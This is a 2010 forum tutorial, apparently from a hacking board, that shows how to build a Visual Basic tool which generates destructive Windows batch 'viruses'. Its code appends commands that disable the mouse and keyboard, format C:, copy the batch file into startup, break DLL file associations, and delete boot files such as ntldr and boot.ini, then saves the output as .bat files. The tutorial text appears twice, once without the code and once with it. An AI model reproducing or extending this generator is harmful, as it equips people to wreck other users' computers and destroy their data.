Sep 30, 2010 05:16 AM
(This post was last modified: Sep 30, 2010 05:26 AM by 50GTB.)
Hi
Today im going to teach you how to make a Batch Virus maker.
Let's do this.
Open visual basic or studio > New Project > Name it what ever you want.
1 Drag a RichTextBox
2 Drag a few buttons. As many virus codes you got.
1 Button - Safe as .Bat
1 Button Safe as .Txt
2 SaveFileDialog1 and SaveFileDialog2
On the RichTextBox you must have "@echo off " at the beginning!
Let's start coding.
Double click on the Button and put this codes.
Disable Mouse
Disable Keyboard
Swap Mouse
Format C:\
Add To Start Up
Delete All.Dll Files
Kill Computer
Make sure the Kill Computer Virus Code are all in 1 line other wise you will get error's.
Change Time
You can put any time you want i put 20.23
Save as .Bat
Make sure you type virusname.bat when you are saving
Save as .txt
Make sure you type virusname.txt when you are saving
I will also add more Virus Codes
If you got any problem with the source that i have gave here please contact me via pm and i will reply as soon as possible.
Thank you
Today im going to teach you how to make a Batch Virus maker.
Let's do this.
Open visual basic or studio > New Project > Name it what ever you want.
1 Drag a RichTextBox
2 Drag a few buttons. As many virus codes you got.
1 Button - Safe as .Bat
1 Button Safe as .Txt
2 SaveFileDialog1 and SaveFileDialog2
On the RichTextBox you must have "@echo off " at the beginning!
Let's start coding.
Double click on the Button and put this codes.
Disable Mouse
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 mouse,disable" & vbNewLineDisable Keyboard
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 keyboard,disable" & vbNewLineSwap Mouse
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 user,swapmousebutton" & vbNewLineFormat C:\
Code
RichTextBox1.Text = RichTextBox1.Text & "format c: /q /autotest" & vbNewLineAdd To Start Up
Code
RichTextBox1.Text = RichTextBox1.Text & "copy %0 %windir%WINSTART.BAT" & vbNewLineDelete All.Dll Files
Code
RichTextBox1.Text = RichTextBox1.Text & "assoc %systemroot%\*.dll=txtfile" & vbNewLineKill Computer
Code
RichTextBox1.Text = RichTextBox1.Text & "attrib -r -s -h c:\autoexec.bat" & vbNewLine & "del c:\autoexec.bat" & vbNewLine & "attrib -r -s -h c:\boot.ini" & vbNewLine & "del c:\boot.ini" & vbNewLine & "attrib -r -s -h c:\ntldr" & vbNewLine & "del c:\ntldr" & vbNewLine & "attrib -r -s -h c:\windows\win.ini" & vbNewLine & "del c:\windows\win.ini" & vbNewLineChange Time
Code
RichTextBox1.Text = RichTextBox1.Text & "time 20:23" & vbNewLineSave as .Bat
Code
SaveFileDialog1.ShowDialog()
If SaveFileDialog1.FileName <> "" Then
End If
FileOpen(1, SaveFileDialog1.FileName, OpenMode.Output)
PrintLine(1, RichTextBox1.Text)
FileClose(1)Save as .txt
Code
SaveFileDialog2.ShowDialog()
If SaveFileDialog2.FileName <> "" Then
End If
FileOpen(1, SaveFileDialog2.FileName, OpenMode.Output)
PrintLine(1, RichTextBox1.Text)
FileClose(1)I will also add more Virus Codes
If you got any problem with the source that i have gave here please contact me via pm and i will reply as soon as possible.
Thank you


